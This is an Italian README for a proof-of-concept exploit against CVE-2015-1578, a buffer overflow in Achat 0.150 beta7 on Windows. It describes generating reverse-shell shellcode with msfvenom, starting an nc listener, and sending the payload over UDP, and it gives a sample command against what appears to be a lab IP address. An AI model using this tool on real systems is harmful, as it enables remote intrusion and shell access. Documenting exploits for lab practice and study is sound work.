CVE-2015-1578-PoC

Panoramica

Questo è un proof-of-concept exploit per CVE-2015-1578, una vulnerabilità di buffer overflow in Achat 0.150 beta7 su Windows. Lo sfruttamento porta all'esecuzione di codice remoto tramite un pacchetto UDP modificato.

Scopo

Questo PoC ha lo scopo di servire come esempio pulito, minimo e ben strutturato di sviluppo di exploit. Dimostra:

• Generazione dinamica di shellcode tramite msfvenom
• Targeting e configurazione basati su argomenti
• Configurazione integrata del listener
• Consegna semplice del payload tramite UDP

Tutorial Video

Dipendenze

• Python 3
• msfvenom (parte del Metasploit Framework)
• rlwrap (per una migliore usabilità di Netcat)

Funzionalità

• Crea dinamicamente il payload codificato in Unicode usando msfvenom
• Avvia automaticamente un listener usando rlwrap nc
• Accetta argomenti da riga di comando puliti
• Fallisce in modo elegante se i moduli di payload opzionali mancano

Argomenti

-i <target_ip> Indirizzo IP di destinazione (obbligatorio) -l, --lhost <listener_ip> IP host locale per la reverse shell (obbligatorio) -p, --lport <port> Porta locale per la reverse shell (obbligatorio) --rport <port> Porta UDP remota sulla destinazione (default: 9256)

Esempio di utilizzo

python3 chatter.py -i 10.10.10.74 -l 10.10.16.7 -p 9393

Questo:

• Genererà il payload con LHOST e LPORT forniti
• Avvierà un listener in un thread in background
• Invierà il payload dell'exploit via UDP alla destinazione